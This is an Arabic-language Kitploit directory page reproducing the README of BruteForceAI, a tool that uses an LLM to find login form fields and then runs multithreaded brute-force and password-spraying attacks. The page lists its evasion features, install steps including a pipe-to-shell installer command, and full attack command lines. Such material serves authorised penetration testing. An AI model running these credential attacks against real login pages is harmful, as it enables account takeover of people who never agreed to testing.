Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
BruteForceAI — أداة تخمين قوية متقدمة مدعومة بـ LLM تجمع بين الذكاء الاصطناعي وهجمات تسجيل الدخول الآلية | Kitploit
أدوات/GitHubGitHub/mordavid/bruteforceai
هجمات كلمات المرورالبرمجة النصية والأتمتةاستغلال تطبيقات الويبجمع المعلوماتأمن الويباختبار الاختراقالمصادقةالفريق الأحمرأمن الذكاء الاصطناعي
GitHubmordavid/bruteforceai

BruteForceAI

أداة تخمين قوية متقدمة مدعومة بـ LLM تجمع بين الذكاء الاصطناعي وهجمات تسجيل الدخول الآلية

1.9k38839منذ 3 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودعالموقع الإلكتروني

🤖 BruteForceAI - أداة تخمين تسجيل الدخول المدعومة بالذكاء الاصطناعي

BruteForceAI Logo

BruteForceAI Banner Python License AI Powered

أداة تخمين متقدمة مدعومة بنماذج اللغة الكبيرة (LLM) تجمع بين ذكاء الذكاء الاصطناعي وهجمات تسجيل الدخول الآلية

الميزات • التثبيت • الاستخدام • أمثلة • الإعدادات • الترخيص


🎯 نبذة

BruteForceAI هي أداة متقدمة لاختبار الاختراق تُحدث ثورة في هجمات التخمين التقليدية من خلال دمج نماذج اللغة الكبيرة (LLM) لتحليل النماذج بذكاء. تحدد الأداة تلقائيًا محددات نموذج تسجيل الدخول باستخدام الذكاء الاصطناعي، ثم تنفذ هجمات متعددة الخيوط متطورة بأنماط سلوك تشبه البشر.

🧠 تحليل النماذج المدعوم بـ LLM

  • المرحلة 1 (التحليل بالذكاء الاصطناعي): يحلل LLM محتوى HTML لتحديد عناصر نموذج تسجيل الدخول ومحدداتها
  • المرحلة 2 (الهجوم الذكي): ينفذ هجمات تخمين ذكية باستخدام المحددات التي اكتشفها الذكاء الاصطناعي

🚀 ميزات الهجوم المتقدمة

  • تنفيذ متعدد الخيوط مع تأخيرات متزامنة
  • أوضاع هجوم التخمين ورشّ كلمات المرور
  • توقيت يشبه البشر مع التذبذب والعشوائية
  • تدوير User-Agent لتحسين التخفي
  • إشعارات Webhook (Discord، Slack، Teams، Telegram)
  • تسجيل شامل باستخدام قاعدة بيانات SQLite

🌟 سجل النجوم

Star History Chart


✨ الميزات

🔍 التحليل الذكي

  • تحديد محددات النماذج المدعوم بـ LLM (Ollama/Groq)
  • إعادة المحاولة التلقائية مع التعلم من الملاحظات
  • اكتشاف تغييرات DOM للتحقق من النجاح
  • استخراج ذكي لمحتوى HTML

⚡ الهجمات المتقدمة

  • وضع التخمين: تجربة جميع تركيبات اسم المستخدم/كلمة المرور
  • وضع رشّ كلمات المرور: اختبار كل كلمة مرور مقابل جميع أسماء المستخدمين
  • تنفيذ متعدد الخيوط (1-100+ خيط)
  • تأخيرات متزامنة بين المحاولات لنفس المستخدم

🎭 تقنيات التخفي

  • تدوير عشوائي لـ User-Agent
  • تأخيرات قابلة للضبط مع التذبذب
  • أنماط توقيت تشبه البشر
  • دعم البروكسي
  • التحكم في ظهور المتصفح

📊 المراقبة والإشعارات

  • إشعارات Webhook فورية عند النجاح
  • تسجيل شامل في SQLite
  • إخراج مفصل مع طوابع زمنية
  • الخروج عند النجاح بعد أول بيانات اعتماد صالحة
  • تخطي المحاولات الموجودة (منع التكرار)

🛠️ الميزات التشغيلية

  • حفظ الإخراج في ملفات
  • واجهة طرفية ملونة
  • آلية إعادة المحاولة عند أخطاء الشبكة
  • فرض إعادة المحاولة للمحاولات الموجودة
  • أدوات إدارة قاعدة البيانات
  • فحص التحديثات التلقائي من mordavid.com

🔧 التثبيت

المتطلبات الأساسية

# Python 3.8 or higher
python --version

إعداد بيئة افتراضية (موصى به)

حافظ على عزل التبعيات عن Python الخاص بنظامك باستخدام venv المدمج:

# 1. Create a virtual environment
python -m venv .venv

# 2. Activate it
#   Windows (PowerShell):
.venv\Scripts\Activate.ps1
#   Windows (cmd):
.venv\Scripts\activate.bat
#   macOS / Linux:
source .venv/bin/activate

ملاحظة: خطوة python -m venv .venv مطلوبة مرة واحدة فقط. في كل جلسة طرفية جديدة، أعد تشغيل أمر التنشيط (الخطوة 2) قبل استخدام الأداة. للخروج من البيئة الافتراضية، شغّل deactivate.

تثبيت التبعيات

# Install Python packages
pip install -r requirements.txt

# Install the Playwright browser
playwright install chromium

الحزم المطلوبة:

  • playwright - أتمتة المتصفح
  • requests - طلبات HTTP
  • PyYAML - تحليل YAML لفحوصات التحديث

إعداد LLM

الخيار 1: Ollama (محلي)

# Install Ollama
curl -fsSL https://ollama.ai/install.sh | sh

# Pull recommended model
ollama pull llama3.2:3b

الخيار 2: Groq (سحابي)

  1. احصل على مفتاح API من Groq Console
  2. استخدمه مع --llm-provider groq --llm-api-key YOUR_KEY

🧠 اختيار النموذج والأداء

النماذج الموصى بها حسب المزوّد

Ollama (محلي):

  • llama3.2:3b - الافتراضي، توازن جيد بين السرعة والجودة
  • llama3.2:1b - الأسرع، نموذج أصغر للتحليل السريع
  • qwen2.5:3b - بديل بأداء جيد

Groq (سحابي):

  • llama-3.3-70b-versatile - الافتراضي والأفضل - أحدث نموذج بجودة فائقة (محاولة واحدة)
  • llama3-70b-8192 - بديل سريع وموثوق (محاولة واحدة)
  • gemma2-9b-it - خيار خفيف الوزن، جيد للنماذج البسيطة (محاولة واحدة)
  • llama-3.1-8b-instant - ⚠️ غير موصى به (مشكلات تحديد المعدل، 3+ محاولات)

نصائح الأداء

# Best quality (recommended for complex forms)
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY

# Fast and reliable
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY

# Lightweight for simple forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY

# Local processing (no API key needed)
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b

📖 الاستخدام

الأوامر الأساسية

المرحلة 1: تحليل نماذج تسجيل الدخول

python BruteForceAI.py analyze --urls urls.txt --llm-provider ollama

المرحلة 2: تنفيذ الهجوم

python BruteForceAI.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10

بنية الأوامر

python BruteForceAI.py <command> [options]

الأوامر المتاحة

  • analyze - تحليل نماذج تسجيل الدخول باستخدام LLM
  • attack - تنفيذ هجمات القوة الغاشمة
  • clean-db - تنظيف جداول قاعدة البيانات
  • check-updates - التحقق من تحديثات البرنامج

🎯 أمثلة

1. سير عمل كامل

# Step 1: Analyze forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b

# Step 2: Attack with 20 threads
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2

2. إعداد الهجوم المتقدم

python BruteForceAI.py attack \
  --urls targets.txt \
  --usernames users.txt \
  --passwords passwords.txt \
  --mode passwordspray \
  --threads 15 \
  --delay 10 \
  --jitter 3 \
  --success-exit \
  --user-agents user_agents.txt \
  --verbose \
  --output results.txt

3. مع إشعارات Webhook

python BruteForceAI.py attack \
  --urls targets.txt \
  --usernames users.txt \
  --passwords passwords.txt \
  --discord-webhook "https://discord.com/api/webhooks/..." \
  --slack-webhook "https://hooks.slack.com/services/..." \
  --threads 10

4. تصحيح أخطاء المتصفح

python BruteForceAI.py analyze \
  --urls targets.txt \
  --show-browser \
  --browser-wait 5 \
  --debug \
  --llm-provider ollama

5. التحقق من التحديثات

# Check for software updates
python BruteForceAI.py check-updates

# Check with output to file
python BruteForceAI.py check-updates --output update_check.txt

تخطي التحقق من الإصدار

# Skip version check completely for faster startup
python BruteForceAI.py analyze --urls targets.txt --skip-version-check
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --skip-version-check

# Also works as global flag (before subcommand)
python BruteForceAI.py --skip-version-check analyze --urls targets.txt

⚙️ خيارات التكوين

تنزيل الأداة